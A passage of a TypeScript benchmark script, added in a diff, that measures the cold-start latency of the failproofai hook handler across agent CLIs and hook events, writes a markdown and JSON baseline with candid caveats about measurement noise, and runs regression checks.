shim beside `dist/index.js`, dynamically imports the copy, then " + + "unlinks both.", + ); + out.push(""); + out.push( + mdTable( + ["", "p50 (ms)", "p95 (ms)", "p99 (ms)"], + [ + ["`config+load`, no custom policy", fmt(def.configLoad[0], 2), fmt(def.configLoad[1], 2), fmt(def.configLoad[2], 2)], + ["`config+load`, one custom policy", fmt(cus.configLoad[0], 2), fmt(cus.configLoad[1], 2), fmt(cus.configLoad[2], 2)], + [ + "**delta**", + `**${signed(b.customPolicyDelta.configLoadP50)}**`, + `**${signed(b.customPolicyDelta.configLoadP95)}**`, + `**${signed(b.customPolicyDelta.configLoadP99)}**`, + ], + ["end-to-end delta", signed(b.customPolicyDelta.e2eP50), "—", "—"], + ], + ), + ); + out.push(""); + out.push( + `Temp files written per hook invocation, custom variant: ` + + `**${b.customPolicyDelta.tempFilesWrittenPerInvocation}** ` + + `(one rewritten policy copy + one ESM shim).`, + ); + out.push(""); + out.push( + "Note the end-to-end delta is **much smaller than the `config+load` delta**, and can even " + + "come out slightly negative. That is not the loader being free. `(other)` is a " + + "**residual** — wall clock minus the four measured phases — so it absorbs every " + + "cross-phase effect: scheduler placement, page-fault timing, and the fact that a " + + "process which has already done four milliseconds of filesystem work tears down " + + "differently from one that has not. **Read the `config+load` row, not the end-to-end " + + "row, for the loader's cost.** `config+load` is measured directly with two " + + "`performance.now()` calls around the real calls; the end-to-end delta at this " + + "magnitude is inside the residual's noise.", + ); + out.push(""); + } + + // ── Phase 1 decomposition ── + out.push("## Inside phase 1 — why the daemon cannot remove it before Stage 4"); + out.push(""); + out.push( + mdTable( + ["", "p50 (ms)", "p95 (ms)", "p99 (ms)"], + [ + [ + "bare interpreter start (`node` running a one-line script)", + fmt(b.runtimeFloor.bareInterpreterSpawn[0], 2), + fmt(b.runtimeFloor.bareInterpreterSpawn[1], 2), + fmt(b.runtimeFloor.bareInterpreterSpawn[2], 2), + ], + [ + "…plus evaluating the failproofai module graph", + fmt(b.runtimeFloor.moduleGraphEvalSpawn[0], 2), + fmt(b.runtimeFloor.moduleGraphEvalSpawn[1], 2), + fmt(b.runtimeFloor.moduleGraphEvalSpawn[2], 2), + ], + [ + "**module-graph evaluation alone** (derived)", + `**${fmt(b.runtimeFloor.derivedModuleEvalP50, 2)}**`, + "—", + "—", + ], + ], + ), + ); + out.push(""); + out.push( + "Both halves survive Stages 1\u20133 untouched: the hook is still a Node process that still " + + "imports `src/hooks/handler.ts`, because the Stage-1 daemon branch lives *inside* that " + + "module. Only the Stage-4 native client removes them.", + ); + out.push(""); + + // ── Per-CLI ── + out.push(`## Per CLI (\`${primary}\` variant, pooled across all events)`); + out.push(""); + const byCliDefault = b.byCli[primary] ?? {}; + out.push( + mdTable( + ["cli", "spawn p50", "config+load p50", "evaluate p50", "encode p50", "e2e p50", "e2e p95", "e2e p99"], + Object.entries(byCliDefault).map(([cli, t]) => [ + `\`${cli}\``, + fmt(t.spawn[0], 2), + fmt(t.configLoad[0], 2), + fmt(t.evaluate[0], 3), + fmt(t.encode[0], 3), + fmt(t.e2e[0], 2), + fmt(t.e2e[1], 2), + fmt(t.e2e[2], 2), + ]), + ), + ); + out.push(""); + out.push( + `All ${Object.keys(byCliDefault).length} rows are within noise of each other, which is the ` + + "expected result and worth stating: canonicalization is table lookups, and the per-CLI " + + "response encoders differ by a few string concatenations. **The CLI you use does not " + + "measurably change hook latency; the event does.**", + ); + out.push(""); + + // ── Per-event ── + out.push(`## Per event (\`${primary}\` variant, pooled across all CLIs)`); + out.push(""); + const byEventDefault = b.byEvent[primary] ?? {}; + const eventRows = Object.entries(byEventDefault).map(([event, t]) => { + const anyCell = Object.entries(b.cells[primary] ?? {}).find(([k]) => k.endsWith(`|${event}`)); + return [ + `\`${event}\``, + String(anyCell?.[1].matched ?? 0), + fmt(t.spawn[0], 2), + fmt(t.configLoad[0], 2), + fmt(t.evaluate[0], 3), + fmt(t.encode[0], 3), + fmt(t.e2e[0], 2), + fmt(t.e2e[2], 2), + ]; + }); + out.push( + mdTable( + ["event", "policies matched", "spawn p50", "config+load p50", "evaluate p50", "encode p50", "e2e p50", "e2e p99"], + eventRows, + ), + ); + out.push(""); + out.push( + "`policies matched` is the number of **default-enabled** builtins registered for that " + + "event. Most canonical events have none — that is the shipped default, not a gap in the " + + "benchmark — so `evaluate` for them is the cost of an empty `getPoliciesForEvent` lookup. " + + "A user who enables the full catalogue moves `evaluate` up; rerun with `--policy-set all` " + + "to see by how much.", + ); + out.push(""); + + // ── Calibration ── + out.push("## Calibration against the real client"); + out.push(""); + out.push( + "The per-phase numbers come from a harness process that re-enacts `handleHookEvent`\u2019s " + + "pipeline (it has to: that function returns one number for the whole invocation). This " + + "table runs the **actual shipping client** \u2014 `node dist/cli.mjs --hook --cli " + + "` \u2014 over the same cells, so the size of that approximation is a published number.", + ); + out.push(""); + out.push( + mdTable( + ["cli", "event", "harness e2e p50", "real `dist/cli.mjs` e2e p50", "delta (ms)"], + b.calibration.map((r) => [ + `\`${r.cli}\``, + `\`${r.event}\``, + fmt(r.harnessE2e[0], 2), + fmt(r.realCliE2e[0], 2), + signed(r.deltaP50), + ]), + ), + ); + out.push(""); + out.push( + "The real client is consistently **slower**, and the gap is accounted for: it bundles the " + + "entire CLI surface (`manager.ts`, the TUI, the dashboard launcher) rather than just the " + + "hook path, and it also runs `persistHookActivity` and `flushHookTelemetry`, which the " + + "harness omits. Read the harness numbers as a **lower bound** on phase 1 and on " + + "end-to-end; phases 2\u20134 are measured on the real code paths and are not affected.", + ); + out.push(""); + + // ── Honesty section ── + out.push("## Reading these numbers honestly"); + out.push(""); + out.push( + `This ran on a **shared developer workstation**, not a quiesced benchmark host. Load average ` + + `was ${b.machine.loadAvgBefore.join(", ")} at the start and ${b.machine.loadAvgAfter.join(", ")} ` + + `at the end. Nothing was pinned, isolated, or governor-locked.`, + ); + out.push(""); + out.push("**What these numbers can be used for:**"); + out.push(""); + out.push( + "- The **ratio** between phases, and therefore the Stage-1-vs-Stage-4 argument above. " + + "Phase 1 is an order of magnitude larger than phases 2\u20134 combined; no plausible amount " + + "of noise reverses that.", + ); + out.push( + "- The **with-vs-without-custom-policy delta**, which is a genuinely paired comparison: " + + "the two variants are measured **interleaved**, one iteration each, alternating order, " + + "so both members of every pair see the same machine load.", + ); + out.push("- A **same-machine** regression check, via `--check`."); + out.push(""); + out.push("**What they must not be used for:**"); + out.push(""); + out.push( + "- Comparison against a run on different hardware, a different Node version, or a CI " + + "runner. That is why `machine.fingerprint` is recorded and why `--check` degrades to " + + "advisory when it differs.", + ); + out.push( + "- Any claim that needs precision finer than the spread below. The p99 column in " + + `particular is a tail on a noisy host: treat it as \u201cthe worst of ${b.config.iterations}` + + "\u201d, not as a distributional p99.", + ); + out.push( + "- Absolute SLO setting. `01-stages.md` gates end-to-end latency at **Stage 4** for exactly " + + "this reason.", + ); + out.push(""); + out.push("### Observed spread"); + out.push(""); + out.push( + mdTable( + ["measure", "value"], + [ + [ + `within-cell end-to-end coefficient of variation (median across cells, \`${primary}\` variant)`, + `${fmt(medianCv(b, primary) * 100, 1)}%`, + ], + [ + `worst within-cell end-to-end CV (\`${primary}\` variant)`, + `${fmt(worstCv(b, primary) * 100, 1)}%`, + ], + [ + "run-to-run repeatability: largest absolute end-to-end p50 shift over the repeat probe", + `${fmt(b.repeatability.maxAbsDeltaMs, 2)} ms (${fmt(b.repeatability.maxRelDelta * 100, 1)}%)`, + ], + ["iterations per cell", String(b.config.iterations)], + ["discarded warmup iterations per cell", String(b.config.warmup)], + [ + "iterations attempted / failed", + `${b.diagnostics.totalIterations} / ${b.diagnostics.failedIterations} ` + + `(${fmt(b.diagnostics.failureRate * 100, 2)}%)`, + ], + [ + "samples where the four phases summed above wall clock (clamped)", + String(b.diagnostics.clampedOtherSamples), + ], + ["harness rebuilds forced mid-run", String(b.diagnostics.harnessRepairs)], + ], + ), + ); + out.push(""); + out.push( + `The repeat probe re-measures ${b.repeatability.rows.length} cells at the very end of the ` + + `run and compares them to their measurement at the start. ${b.repeatability.note}`, + ); + out.push(""); + + // ── Machine ── + out.push("## Machine context"); + out.push(""); + out.push( + mdTable( + ["", ""], + [ + ["CPU", b.machine.cpuModel], + ["cores (logical)", String(b.machine.cpuCores)], + ["memory", `${b.machine.totalMemGb} GiB`], + ["OS", `${b.machine.osType} ${b.machine.osRelease} (${b.machine.platform}/${b.machine.arch})`], + ["node", b.machine.nodeVersion], + ["bun", b.machine.bunVersion], + ["load average (start → end)", `${b.machine.loadAvgBefore.join(", ")} → ${b.machine.loadAvgAfter.join(", ")}`], + ["fingerprint", `\`${b.machine.fingerprint}\``], + ], + ), + ); + out.push(""); + + // ── Methodology ── + out.push("## Method"); + out.push(""); + out.push("```"); + out.push("bun scripts/bench-hook.ts # measure and rewrite both artifacts"); + out.push("bun scripts/bench-hook.ts --check # re-measure, compare, write nothing"); + out.push("bun scripts/bench-hook.ts --iterations 200 # tighter tails"); + out.push("bun scripts/bench-hook.ts --cli claude,goose # filter the matrix"); + out.push("bun scripts/bench-hook.ts --event PreToolUse"); + out.push("bun scripts/bench-hook.ts --policy-set all # every non-beta builtin enabled"); + out.push("bun scripts/bench-hook.ts --variants default # skip the custom-policy variant"); + out.push("```"); + out.push(""); + out.push( + "There is **no `bench` script in `package.json` and no CI job**. `--check` exists so a soft " + + "gate can be added later (see L6 in `02-verification.md`); it is deliberately not wired " + + "up, because a benchmark in CI on shared runners produces flaky failures, not signal.", + ); + out.push(""); + out.push("Measurement details that matter for reproducing this:"); + out.push(""); + out.push( + "- **Every iteration is a fresh process.** Cold start is the thing being measured, so it " + + "cannot be amortized across iterations.", + ); + out.push( + "- **Strictly serial.** Running spawns concurrently would cut wall time and destroy the " + + "latency distribution.", + ); + out.push( + "- **Variants are interleaved per cell, not run as two passes over the matrix.** Two " + + "sequential passes put half an hour between the two halves of every comparison, so load " + + "drift lands entirely on one side. An earlier attempt did exactly that and reported the " + + "custom-policy variant as **17 ms faster** end-to-end — a property of the machine going " + + "quiet, not of custom policies.", + ); + out.push( + "- **Isolated sandbox.** Each variant gets its own `HOME` and its own project directory " + + "containing a `.failproofai/` marker, so `findProjectConfigDir` stops there and the " + + `benchmark never picks up this repo's own dogfood policy configuration.`, + ); + out.push( + `- **Policy set: \`${b.config.policySet}\`** \u2014 ${b.config.enabledPolicies.length} builtins, ` + + "derived from `BUILTIN_POLICIES.filter(p => p.defaultEnabled && !p.beta)`. Every builtin " + + "that spawns a subprocess (`block-work-on-main`, the five `require-*-before-stop`) or " + + "reads a transcript (`warn-repeated-tool-calls`) is `defaultEnabled: false`, so the " + + "default workload does no subprocess or transcript I/O. A user who enables those will " + + "see materially higher `evaluate`.", + ); + out.push( + `- **Bash command benchmarked: \`${b.config.benchCommand}\`.** Benign on purpose: a deny ` + + "short-circuits `evaluateVerdicts`, so benchmarking a blocked command would measure the " + + "cheapest possible policy loop.", + ); + out.push(`- **Telemetry:** ${b.config.telemetry}`); + out.push( + `- **Omitted from the harness process** (present in the calibration run): ` + + `${b.config.omittedFromHarness.map((s) => `\`${s}\``).join(", ")}.`, + ); + out.push( + "- **The harness hard-exits after emitting its report**, mirroring " + + "`bin/failproofai.mjs`, which calls `process.exit()` the moment `handleHookEvent` " + + "returns. That is not cosmetic: a hook process that merely *returns* stays alive as " + + "long as anything is still pending on the event loop, so without the mirror the " + + "custom-policy variant measured a 10,088 ms p95 on the first attempt at this baseline " + + "\u2014 it was timing a pending `setTimeout`, not a hook.", + ); + out.push( + "- **`transcript_path` is `/dev/null`** and the sandbox `HOME` is empty, so " + + "`resolveTranscriptPath` and `resolvePermissionMode` return immediately. On a real " + + "machine `resolveCodexMode` line-scans `~/.codex/sessions`; `01-stages.md`\u2019s P4 calls " + + "that out as an unbounded read on the enforcement deadline path. **This baseline does " + + "not capture that pathology** \u2014 it is a floor, not a worst case.", + ); + out.push(""); + out.push("## Matrix derivation"); + out.push(""); + out.push( + "The matrix is `INTEGRATION_TYPES` \u00d7 `HOOK_EVENT_TYPES` read from " + + "`src/hooks/types.ts`, and per-CLI tool/event tables are resolved by naming convention " + + "(`_TOOL_MAP`, `_TOOL_INPUT_MAP`, `_EVENT_MAP`) off a namespace import, " + + "the same technique `scripts/gen-canon-tables.ts` uses. **Nothing hardcodes twelve.** A " + + "thirteenth CLI appears in this table on the next run with no edit to the script.", + ); + out.push(""); + out.push( + `Cells measured: **${b.config.matrix.cells}** = ${b.config.matrix.clis} \u00d7 ` + + `${b.config.matrix.events}. Full per-cell percentiles are in ` + + "`bench-baseline.json` under `cells.[\"|\"]`; each phase is a " + + `\`[p50, p95, p99]\` tuple in milliseconds.`, + ); + out.push(""); + return out.join("\n"); +} + +function cvList(b: Baseline, variant: string): number[] { + const cells = b.cells[variant] ?? {}; + return Object.values(cells) + .filter((c) => c.e2eMean > 0) + .map((c) => c.e2eStddev / c.e2eMean); +} + +function medianCv(b: Baseline, variant: string): number { + const xs = cvList(b, variant).sort((a, c) => a - c); + return xs.length === 0 ? 0 : xs[Math.floor(xs.length / 2)]!; +} + +function worstCv(b: Baseline, variant: string): number { + const xs = cvList(b, variant); + return xs.length === 0 ? 0 : Math.max(...xs); +} + +// ── --check ──────────────────────────────────────────────────────────────── + +function runCheck(fresh: Baseline, baselinePath: string, tolerance: number): number { + if (!existsSync(baselinePath)) { + process.stderr.write(`[bench] no committed baseline at ${baselinePath}\n`); + return 1; + } + const old = JSON.parse(readFileSync(baselinePath, "utf8")) as Baseline; + const sameMachine = old.machine.fingerprint === fresh.machine.fingerprint; + + process.stdout.write("\n=== bench-hook --check ===\n\n"); + process.stdout.write(`baseline : ${old.generatedAt} ${old.machine.fingerprint}\n`); + process.stdout.write(`current : ${fresh.generatedAt} ${fresh.machine.fingerprint}\n\n`); + if (!sameMachine) { + process.stdout.write( + "MACHINE FINGERPRINT DIFFERS — this comparison is ADVISORY ONLY.\n" + + "A latency baseline is not portable across hardware, OS, or runtime versions.\n\n", + ); + } + + let regressions = 0; + for (const variant of fresh.config.variants) { + const a = old.aggregate[variant]; + const c = fresh.aggregate[variant]; + if (!a || !c) continue; + process.stdout.write(`--- ${variant} ---\n`); + process.stdout.write("phase base p50 now p50 base p95 now p95 verdict\n"); + for (const phase of PHASES) { + const ratio95 = a[phase][1] === 0 ? 1 : c[phase][1] / a[phase][1]; + const absDelta95 = c[phase][1] - a[phase][1]; + const regressed = ratio95 > tolerance && absDelta95 > 5; + if (regressed && sameMachine) regressions += 1; + process.stdout.write( + `${phase.padEnd(14)} ${fmt(a[phase][0], 2).padStart(8)} ${fmt(c[phase][0], 2).padStart(8)} ` + + `${fmt(a[phase][1], 2).padStart(8)} ${fmt(c[phase][1], 2).padStart(8)} ` + + `${regressed ? `REGRESSED (${fmt(ratio95, 2)}x)` : `ok (${fmt(ratio95, 2)}x)`}\n`, + ); + } + process.stdout.write("\n"); + } + + process.stdout.write( + `tolerance: p95 may grow up to ${tolerance}x AND +5 ms before it counts as a regression.\n`, + ); + if (!sameMachine) { + process.stdout.write("result: ADVISORY (different machine) — exiting 0.\n"); + return 0; + } + if (regressions > 0) { + process.stdout.write(`result: ${regressions} REGRESSION(S).\n`); + return 1; + } + process.stdout.write("result: OK.\n"); + return 0; +} + +// ── Main ─────────────────────────────────────────────────────────────────── + +/** + * Refuse to run two captures at once. + * + * Both runs would share `WORK_DIR` — the worker bundle, the `dist/` snapshot, + * and both sandboxes — so the second one's `buildWorkerBundle` rewrites the + * first one's harness underneath it, and whichever exits first deletes the + * directory the other is still spawning out of. That is not a theoretical race: + * the third attempt at this baseline died at exit 144 when a second invocation + * started while it was running, and neither produced an artifact. + * + * A stale lock (holder no longer alive) is taken over rather than honored, so a + * killed run does not require manual cleanup. + */ +function acquireLock(): boolean { + const payload = JSON.stringify({ pid: process.pid, startedAt: new Date().toISOString() }); + try { + writeFileSync(LOCK_FILE, payload, { encoding: "utf8", flag: "wx" }); + return true; + } catch { + /* someone holds it — decide whether they are still alive */ + } + let holder: { pid?: number; startedAt?: string } = {}; + try { + holder = JSON.parse(readFileSync(LOCK_FILE, "utf8")) as typeof holder; + } catch { + /* unreadable lock — treat as stale */ + } + const alive = ((): boolean => { + if (typeof holder.pid !== "number") return false; + try { + // Signal 0 tests for existence without delivering anything. + process.kill(holder.pid, 0); + return true; + } catch { + return false; + } + })(); + if (alive) { + process.stderr.write( + `[bench] another capture is already running (pid ${holder.pid}, started ` + + `${holder.startedAt ?? "unknown"}).\n` + + `[bench] Two captures share ${WORK_DIR} and would destroy each other. ` + + `Wait for it, or kill it and delete ${LOCK_FILE}.\n`, + ); + return false; + } + process.stderr.write(`[bench] taking over a stale lock from pid ${String(holder.pid)}\n`); + writeFileSync(LOCK_FILE, payload, "utf8"); + return true; +} + +function cleanup(): void { + try { + rmSync(LOCK_FILE, { force: true }); + } catch { + /* best effort */ + } + try { + rmSync(WORK_DIR, { recursive: true, force: true }); + } catch { + /* best effort */ + } + // `rewriteFileTree` writes an ESM shim beside dist/index.js and unlinks it on + // the way out; a killed iteration can leave one behind. + try { + for (const name of readdirSync(DIST_DIR)) { + if (name.includes("__failproofai_esm_shim__") || name.includes("__failproofai_tmp__")) { + rmSync(resolve(DIST_DIR, name), { force: true }); + } + } + } catch { + /* best effort */ + } +} + +function which(bin: string): string { + const r = spawnSync(bin, ["--version"], { encoding: "utf8" }); + if (r.error) throw new Error(`\`${bin}\` is not on PATH — it is required to run this benchmark.`); + return bin; +} + +function progress(done: number, total: number, label: string): void { + const pct = ((done / total) * 100).toFixed(1); + process.stderr.write(`\r[bench] ${String(done).padStart(4)}/${total} cells (${pct}%) ${label.padEnd(44)}`); +} + +async function main(): Promise { + const opts = parseOptions(process.argv.slice(2)); + const bunBin = which(process.execPath.includes("bun") ? process.execPath : "bun"); + const nodeBin = which("node"); + + const machine = readMachine(bunBin, nodeBin); + const policySet = opts.policySet === "all" ? allPolicies() : defaultEnabledPolicies(); + const cells = buildMatrix(opts.cliFilter, opts.eventFilter); + const cliCount = opts.cliFilter ? [...opts.cliFilter].length : INTEGRATION_TYPES.length; + const eventCount = opts.eventFilter ? [...opts.eventFilter].length : HOOK_EVENT_TYPES.length; + + // Acquire BEFORE registering cleanup: a run that was refused the lock must + // never delete the working directory of the run that holds it. + if (!acquireLock()) { + process.exitCode = 1; + return; + } + process.on("exit", cleanup); + process.on("SIGINT", () => { + cleanup(); + process.exit(130); + }); + + ensureDistFresh(bunBin, opts.allowBuild); + buildWorkerBundle(bunBin); + + const sandboxes: Record = {}; + for (const v of opts.variants) sandboxes[v] = makeSandbox(v, policySet); + + const totalIters = cells.length * opts.variants.length * (opts.iterations + opts.warmup); + process.stderr.write( + `[bench] ${cells.length} cells x ${opts.variants.length} variants x ` + + `${opts.iterations} iterations (+${opts.warmup} warmup) = ${totalIters} cold processes\n`, + ); + + // ── Runtime floor probes ── + const floorSandbox = sandboxes[opts.variants[0]!]!; + const bareSpawn: number[] = []; + const bareE2e: number[] = []; + for (let i = 0; i < opts.calibrationIterations + opts.warmup; i++) { + const t0 = nowEpochMs(); + const r = spawnSync(nodeBin, [NOOP_SCRIPT], { + encoding: "utf8", + cwd: floorSandbox.project, + env: workerEnv(floorSandbox), + }); + const e2e = nowEpochMs() - t0; + const idx = (r.stdout ?? "").lastIndexOf(MARKER); + if (i < opts.warmup || idx < 0) continue; + const t = (JSON.parse((r.stdout ?? "").slice(idx + MARKER.length)) as { t: number }).t; + bareSpawn.push(t - t0); + bareE2e.push(e2e); + } + const moduleEvalSpawn: number[] = []; + for (let i = 0; i < opts.calibrationIterations + opts.warmup; i++) { + const t0 = nowEpochMs(); + const r = spawnSync(nodeBin, [WORKER_BUNDLE, "--worker", "--floor"], { + encoding: "utf8", + cwd: floorSandbox.project, + env: workerEnv(floorSandbox), + input: "", + }); + const idx = (r.stdout ?? "").lastIndexOf(MARKER); + if (i < opts.warmup || idx < 0) continue; + const rep = JSON.parse((r.stdout ?? "").slice(idx + MARKER.length).split("\n")[0]!) as WorkerReport; + moduleEvalSpawn.push(rep.timeOriginMs + rep.entryMs - t0); + } + const bareSpawnT = triple(bareSpawn); + const moduleEvalT = triple(moduleEvalSpawn); + + // ── The matrix ── + const results: Record> = {}; + const firstProbe = new Map(); + const probeCells = cells.filter((c) => c.event === "PreToolUse").slice(0, 12); + const probeKeys = new Set(probeCells.map(cellKey)); + + // Variants are measured INTERLEAVED within each cell, not as two sequential + // passes over the matrix — see `measureCellInterleaved` for why that is a + // correctness requirement and not a micro-optimization. + for (const variant of opts.variants) results[variant] = {}; + let done = 0; + for (const cell of cells) { + progress(done, cells.length, cellKey(cell)); + ensureHarnessIntact(bunBin, opts.allowBuild, sandboxes, policySet); + const paired = measureCellInterleaved( + cell, + sandboxes, + opts.variants, + nodeBin, + opts.iterations, + opts.warmup, + ); + done += 1; + for (const [variant, res] of Object.entries(paired)) { + if (!res) continue; + results[variant]![cellKey(cell)] = res; + } + const primaryRes = paired[opts.variants[0]!]; + if (primaryRes && probeKeys.has(cellKey(cell))) { + firstProbe.set(cellKey(cell), primaryRes.phases.e2e[0]); + } + } + process.stderr.write("\n"); + + // A capture this long shares a machine with whatever else is running in the + // repo. If a meaningful slice of iterations failed, the percentiles below are + // computed over a biased survivor set — refuse to write an artifact that + // looks authoritative and is not. + // + // Evaluated as a function rather than captured once, and checked again after + // every phase has run. The first version of this guard computed the rate here + // and reused that value in the artifact — but calibration and the + // repeatability probe run *below* this point and share the same counters, so + // a run whose matrix was clean and whose later phases failed 636 times + // reported `failedIterations: 636` beside `failureRate: 0` and exited 0. A + // stale rate next to a live count is worse than either alone: it reads as + // reassurance while contradicting itself. + const currentFailureRate = (): number => + totalIterations === 0 ? 1 : failedIterations / totalIterations; + + if (currentFailureRate() > MAX_FAILURE_RATE) { + const failureRate = currentFailureRate(); + process.stderr.write( + `\n[bench] ABORT: ${failedIterations}/${totalIterations} iterations failed ` + + `(${fmt(failureRate * 100, 1)}%, limit ${fmt(MAX_FAILURE_RATE * 100, 1)}%).\n` + + `[bench] Nothing was written. First failures:\n` + + failureSamples.map((m) => ` - ${m}\n`).join("") + + `[bench] The usual cause is something else in the repo rebuilding while this ran.\n`, + ); + process.exitCode = 1; + return; + } + + // ── Calibration against the real client ── + // Skipped under --check: neither the calibration nor the repeat probe feeds + // the regression comparison, and a check that takes as long as a full capture + // is a check nobody runs. + const calibration: CalibrationRow[] = []; + const calSandbox = sandboxes[opts.variants[0]!]!; + for (const cell of opts.check ? [] : probeCells) { + const harness = results[opts.variants[0]!]?.[cellKey(cell)]; + if (!harness) continue; + const real: number[] = []; + for (let i = 0; i < opts.calibrationIterations + opts.warmup; i++) { + const payload = JSON.stringify(buildPayload(cell, calSandbox.project, "/dev/null")); + const t0 = nowEpochMs(); + spawnSync(nodeBin, [SNAPSHOT_CLI, "--hook", nativeEventName(cell.cli, cell.event), "--cli", cell.cli], { + input: payload, + cwd: calSandbox.project, + env: workerEnv(calSandbox), + encoding: "utf8", + timeout: 30_000, + }); + const e2e = nowEpochMs() - t0; + if (i >= opts.warmup) real.push(e2e); + } + const realT = triple(real); + calibration.push({ + cli: cell.cli, + event: cell.event, + harnessE2e: harness.phases.e2e, + realCliE2e: realT, + deltaP50: round(realT[0] - harness.phases.e2e[0]), + }); + } + + // ── Repeat probe (run-to-run repeatability, measured within one run) ── + const repeatRows: RepeatRow[] = []; + for (const cell of opts.check ? [] : probeCells) { + const first = firstProbe.get(cellKey(cell)); + if (first === undefined) continue; + ensureHarnessIntact(bunBin, opts.allowBuild, sandboxes, policySet); + const again = measureCellSingle(cell, calSandbox, nodeBin, opts.iterations, opts.warmup); + if (!again) continue; + const second = again.phases.e2e[0]; + repeatRows.push({ + cell: cellKey(cell), + firstP50: first, + secondP50: second, + absDelta: round(Math.abs(second - first)), + relDelta: round(Math.abs(second - first) / Math.max(first, 0.001), 4), + }); + } + + machine.loadAvgAfter = loadavg().map((x) => round(x)); + + // Re-check now that calibration and the repeatability probe have also run. + // These phases share the iteration counters, so a matrix that was clean says + // nothing about the run as a whole. + if (currentFailureRate() > MAX_FAILURE_RATE) { + process.stderr.write( + `\n[bench] ABORT after calibration: ${failedIterations}/${totalIterations} iterations ` + + `failed (${fmt(currentFailureRate() * 100, 1)}%, limit ${fmt(MAX_FAILURE_RATE * 100, 1)}%).\n` + + `[bench] Nothing was written. First failures:\n` + + failureSamples.map((m) => ` - ${m}\n`).join(""), + ); + process.exitCode = 1; + return; + } + + // ── Aggregate ── + const aggregate: Record = {}; + const byCli: Record> = {}; + const byEvent: Record> = {}; + const cellRecords: Record> = {}; + for (const variant of opts.variants) { + const all = Object.values(results[variant] ?? {}); + if (all.length === 0) continue; + aggregate[variant] = poolTriples(all); + byCli[variant] = {}; + byEvent[variant] = {}; + cellRecords[variant] = {}; + for (const cli of INTEGRATION_TYPES) { + const subset = Object.entries(results[variant] ?? {}) + .filter(([k]) => k.startsWith(`${cli}|`)) + .map(([, v]) => v); + if (subset.length > 0) byCli[variant]![cli] = poolTriples(subset); + } + for (const event of HOOK_EVENT_TYPES) { + const subset = Object.entries(results[variant] ?? {}) + .filter(([k]) => k.endsWith(`|${event}`)) + .map(([, v]) => v); + if (subset.length > 0) byEvent[variant]![event] = poolTriples(subset); + } + for (const [key, r] of Object.entries(results[variant] ?? {})) { + cellRecords[variant]![key] = { + n: r.n, + matched: r.matched, + customHooks: r.customHooks, + phases: r.phases, + e2eMean: r.e2eMean, + e2eStddev: r.e2eStddev, + e2eMin: r.e2eMin, + e2eMax: r.e2eMax, + }; + } + } + + const def = aggregate.default; + const cus = aggregate.custom; + const gitCommit = ( + spawnSync("git", ["rev-parse", "--short", "HEAD"], { cwd: REPO_ROOT, encoding: "utf8" }).stdout ?? "" + ).trim(); + const pkg = JSON.parse(readFileSync(resolve(REPO_ROOT, "package.json"), "utf8")) as { + version: string; + }; + + const baseline: Baseline = { + schema: + "Every phase value is a [p50, p95, p99] tuple in milliseconds. Phases: " + + "spawn (fork/exec + interpreter bootstrap + failproofai module-graph evaluation), " + + "configLoad (readMergedHooksConfig + registerBuiltinPolicies + loadAllCustomHooks), " + + "evaluate (evaluateVerdicts), encode (encodeResponse), " + + "other (payload parse + canonicalization + envelope + teardown + parent reap), " + + "e2e (parent wall clock around the whole cold process). " + + "spawn is removed by Stage 4 (native client); configLoad/evaluate/encode by Stage 1 (daemon).", + generator: "scripts/bench-hook.ts", + generatedAt: new Date().toISOString(), + gitCommit, + packageVersion: pkg.version, + machine, + config: { + iterations: opts.iterations, + warmup: opts.warmup, + policySet: opts.policySet, + enabledPolicies: policySet, + variants: opts.variants, + matrix: { clis: cliCount, events: eventCount, cells: cells.length }, + benchCommand: BENCH_COMMAND, + telemetry: "disabled via FAILPROOFAI_TELEMETRY_DISABLED=1 (network I/O would swamp the signal)", + concurrency: "strictly serial — one cold process at a time", + omittedFromHarness: ["persistHookActivity", "trackHookEvent", "flushHookTelemetry"], + }, + phases: [...PHASES], + percentiles: [...PERCENTILES], + runtimeFloor: { + bareInterpreterSpawn: bareSpawnT, + bareInterpreterE2e: triple(bareE2e), + moduleGraphEvalSpawn: moduleEvalT, + derivedModuleEvalP50: round(moduleEvalT[0] - bareSpawnT[0]), + }, + aggregate, + byCli, + byEvent, + cells: cellRecords, + customPolicyDelta: { + configLoadP50: def && cus ? round(cus.configLoad[0] - def.configLoad[0]) : 0, + configLoadP95: def && cus ? round(cus.configLoad[1] - def.configLoad[1]) : 0, + configLoadP99: def && cus ? round(cus.configLoad[2] - def.configLoad[2]) : 0, + e2eP50: def && cus ? round(cus.e2e[0] - def.e2e[0]) : 0, + tempFilesWrittenPerInvocation: 2, + }, + calibration, + repeatability: { + note: + "Both measurements come from the same process, minutes apart, on a machine that was " + + "also running an editor and an agent session — so this is a realistic lower bound on " + + "run-to-run noise, not a best case.", + rows: repeatRows, + maxAbsDeltaMs: repeatRows.length === 0 ? 0 : round(Math.max(...repeatRows.map((r) => r.absDelta))), + maxRelDelta: repeatRows.length === 0 ? 0 : round(Math.max(...repeatRows.map((r) => r.relDelta)), 4), + }, + diagnostics: { + totalIterations, + failedIterations, + // Recomputed here, from the final counters. Reusing the value the + // pre-calibration guard computed is what produced a committed artifact + // reading `failedIterations: 636, failureRate: 0`. + failureRate: round(currentFailureRate(), 5), + harnessRepairs, + failureSamples, + clampedOtherSamples: clampedOtherCount, + }, + }; + + const jsonPath = resolve(opts.outDir, "bench-baseline.json"); + const mdPath = resolve(opts.outDir, "bench-baseline.md"); + + if (opts.check) { + process.exitCode = runCheck(baseline, jsonPath, opts.tolerance); + return; + } + + // The authoritative gate. The earlier check fails fast before the machine + // spends minutes on calibration, but only this one has seen every phase — + // and a run whose matrix was clean and whose later phases collapsed is + // exactly the shape that slipped through before. + if (currentFailureRate() > MAX_FAILURE_RATE) { + process.stderr.write( + `\n[bench] ABORT: ${failedIterations}/${totalIterations} iterations failed across all ` + + `phases (${fmt(currentFailureRate() * 100, 1)}%, limit ${fmt(MAX_FAILURE_RATE * 100, 1)}%).\n` + + `[bench] Nothing was written. First failures:\n` + + failureSamples.map((m) => ` - ${m}\n`).join("") + + `[bench] The usual cause is something else in the repo rebuilding while this ran.\n`, + ); + process.exitCode = 1; + return; + } + + // An empty repeatability probe means that phase produced no usable samples, + // and its zeros would otherwise be presented as a measured result of "no + // drift". Refuse rather than publish a reassuring zero. + if (repeatRows.length === 0) { + process.stderr.write( + `\n[bench] ABORT: the repeatability probe produced no rows, so run-to-run noise is\n` + + `[bench] unmeasured. Its zeros would read as "no drift observed" rather than\n` + + `[bench] "nothing was observed". Nothing was written.\n`, + ); + process.exitCode = 1; + return; + } + + mkdirSync(opts.outDir, { recursive: true }); + writeFileSync(jsonPath, 